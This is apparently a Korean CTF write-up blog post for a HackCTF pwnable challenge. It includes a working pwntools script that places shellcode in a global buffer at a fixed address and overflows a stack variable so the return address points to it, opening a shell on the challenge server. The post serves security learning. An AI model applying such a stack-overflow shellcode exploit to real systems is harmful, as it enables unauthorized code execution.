s 변수의 크기부터 봐보자. 0x14 쉘 코드를 넣기에는 공간이 부족하고, s 변수의 주소를 알아낼 수 없다.

name 변수를 보자. name변수는 bss 영역에 있는걸 보아 초기화되지 않은 전역 변수인 거 같다.

보호 기법도 없으니 name 변수는 항상 고정된 위치에 있을 것이다.

name 변수 위치인 0804A060에 쉘 코드를 넣고,

s를 버퍼 오버플로우를 이용하여 ret을 name 변수 주소로 덮어 씌울 것이다.

from pwn import *

context.log_level = 'debug'

#r = process("./prob1")
r = remote("ctf.j0n9hyun.xyz", 3003)

context(arch='i386', os='linux')
shell = asm(shellcraft.i386.linux.sh())

r.recvuntil(": ")
r.sendline(shell)

payload = b''
payload += b'A' * (0x14 + 4)
payload += p32(0x804a060)

r.recvuntil(": ")
r.sendline(payload)
r.interactive()

이상하게 로컬에서 돌렸을때는 쉘이 제대로 작동하지 않았는데 서버에 시도할때는 제대로 됐다.

728x90

'해킹 > writeup' 카테고리의 다른 글

9. HackCTF - Offset  (0) 2021.07.11
8. HackCTF - x64 Simple_size_BOF  (0) 2021.07.11
6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
4. HackCTF - x64 Buffer Overflow  (0) 2021.06.16

+ Recent posts